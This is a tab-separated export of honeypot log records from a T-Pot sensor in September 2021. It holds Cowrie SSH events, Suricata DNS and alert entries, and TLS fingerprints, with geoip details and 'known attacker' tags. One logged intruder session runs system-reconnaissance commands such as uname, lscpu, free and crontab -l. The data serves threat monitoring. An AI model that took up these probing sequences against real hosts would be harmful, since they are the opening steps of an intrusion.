31393	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:44:33.787273+03	2021-09-20 14:45:04.425142+03	{"_id": "xgYFA3wBvYTbRNuEp0P8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "6375044f0140", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:44:33.787273Z", "@timestamp": "2021-09-20T11:44:33.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31394	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:44:34.491942+03	2021-09-20 14:45:04.427141+03	{"_id": "yQYFA3wBvYTbRNuEqUOo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14087, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3600, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1972618150412329, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55477, "timestamp": "2021-09-20T11:44:34.491942Z", "@timestamp": "2021-09-20T11:44:34.491Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31395	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:34.558835+03	2021-09-20 14:45:04.428141+03	{"_id": "ygYFA3wBvYTbRNuEqkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35600, "dest_port": 443, "timestamp": "2021-09-20T11:44:34.558835", "@timestamp": "2021-09-20T11:44:34.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31396	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:17.340861+03	2021-09-20 14:45:04.430141+03	{"_id": "hAYFA3wBvYTbRNuEZUOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:17.340861Z", "@timestamp": "2021-09-20T11:44:17.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31397	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:17.341404+03	2021-09-20 14:45:04.431142+03	{"_id": "hQYFA3wBvYTbRNuEZUOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:17.341404Z", "@timestamp": "2021-09-20T11:44:17.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31398	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:44:17.937+03	2021-09-20 14:45:04.432142+03	{"_id": "hgYFA3wBvYTbRNuEZ0M6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:44:17.937000Z", "@timestamp": "2021-09-20T11:44:17.937Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31401	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:19.257096+03	2021-09-20 14:45:04.436142+03	{"_id": "jgYFA3wBvYTbRNuEbUNb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "150.109.115.128", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42705583572387695, "duplicate": true, "timestamp": "2021-09-20T11:44:19.257096Z", "@timestamp": "2021-09-20T11:44:19.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31402	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:19.581958+03	2021-09-20 14:45:04.438142+03	{"_id": "kAYFA3wBvYTbRNuEbUNb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:19.581958Z", "@timestamp": "2021-09-20T11:44:19.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31403	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:20.002418+03	2021-09-20 14:45:04.439142+03	{"_id": "kwYFA3wBvYTbRNuEcUNE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "150.109.115.128", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4210774898529053, "duplicate": true, "timestamp": "2021-09-20T11:44:20.002418Z", "@timestamp": "2021-09-20T11:44:20.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31404	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:20.334893+03	2021-09-20 14:45:04.440141+03	{"_id": "lQYFA3wBvYTbRNuEcUNE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:20.334893Z", "@timestamp": "2021-09-20T11:44:20.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31405	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:20.75684+03	2021-09-20 14:45:04.441142+03	{"_id": "mAYFA3wBvYTbRNuEdUMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "150.109.115.128", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4225656986236572, "duplicate": true, "timestamp": "2021-09-20T11:44:20.756840Z", "@timestamp": "2021-09-20T11:44:20.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31406	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:22.233114+03	2021-09-20 14:45:04.442142+03	{"_id": "nAYFA3wBvYTbRNuEeUMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "150.109.115.128", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4224393367767334, "duplicate": true, "timestamp": "2021-09-20T11:44:22.233114Z", "@timestamp": "2021-09-20T11:44:22.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31407	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:22.529435+03	2021-09-20 14:45:04.444142+03	{"_id": "nQYFA3wBvYTbRNuEeUMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:22.529435Z", "@timestamp": "2021-09-20T11:44:22.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31408	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:22.529976+03	2021-09-20 14:45:04.445143+03	{"_id": "ngYFA3wBvYTbRNuEeUMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:22.529976Z", "@timestamp": "2021-09-20T11:44:22.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31409	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:23.273781+03	2021-09-20 14:45:04.446142+03	{"_id": "oAYFA3wBvYTbRNuEfEP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:23.273781Z", "@timestamp": "2021-09-20T11:44:23.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31410	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:24.246656+03	2021-09-20 14:45:04.447142+03	{"_id": "pgYFA3wBvYTbRNuEgEPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "150.109.115.128", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.21973085403442383, "duplicate": true, "timestamp": "2021-09-20T11:44:24.246656Z", "@timestamp": "2021-09-20T11:44:24.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31411	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:24.027729+03	2021-09-20 14:45:04.449142+03	{"_id": "pQYFA3wBvYTbRNuEgEPn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:24.027729Z", "@timestamp": "2021-09-20T11:44:24.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31412	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:17.011554+03	2021-09-20 14:45:04.450142+03	{"_id": "gwYFA3wBvYTbRNuEZUOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "150.109.115.128", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42276906967163086, "duplicate": true, "timestamp": "2021-09-20T11:44:17.011554Z", "@timestamp": "2021-09-20T11:44:17.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31413	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:44:18.138805+03	2021-09-20 14:45:04.451142+03	{"_id": "iwYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a28787deccb5", "@version": "1", "duration": 2.7120096683502197, "timestamp": "2021-09-20T11:44:18.138805Z", "@timestamp": "2021-09-20T11:44:18.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31414	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.100317+03	2021-09-20 14:45:04.452141+03	{"_id": "igYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:18.100317Z", "@timestamp": "2021-09-20T11:44:18.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31415	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.527095+03	2021-09-20 14:45:04.453141+03	{"_id": "jAYFA3wBvYTbRNuEaUNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "150.109.115.128", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42686033248901367, "duplicate": true, "timestamp": "2021-09-20T11:44:18.527095Z", "@timestamp": "2021-09-20T11:44:18.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31416	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:18.830839+03	2021-09-20 14:45:04.455142+03	{"_id": "kQYFA3wBvYTbRNuEbUNb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:18.830839Z", "@timestamp": "2021-09-20T11:44:18.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31417	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:21.478466+03	2021-09-20 14:45:04.456142+03	{"_id": "lgYFA3wBvYTbRNuEdUMs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "150.109.115.128", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.42446374893188477, "duplicate": true, "timestamp": "2021-09-20T11:44:21.478466Z", "@timestamp": "2021-09-20T11:44:21.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
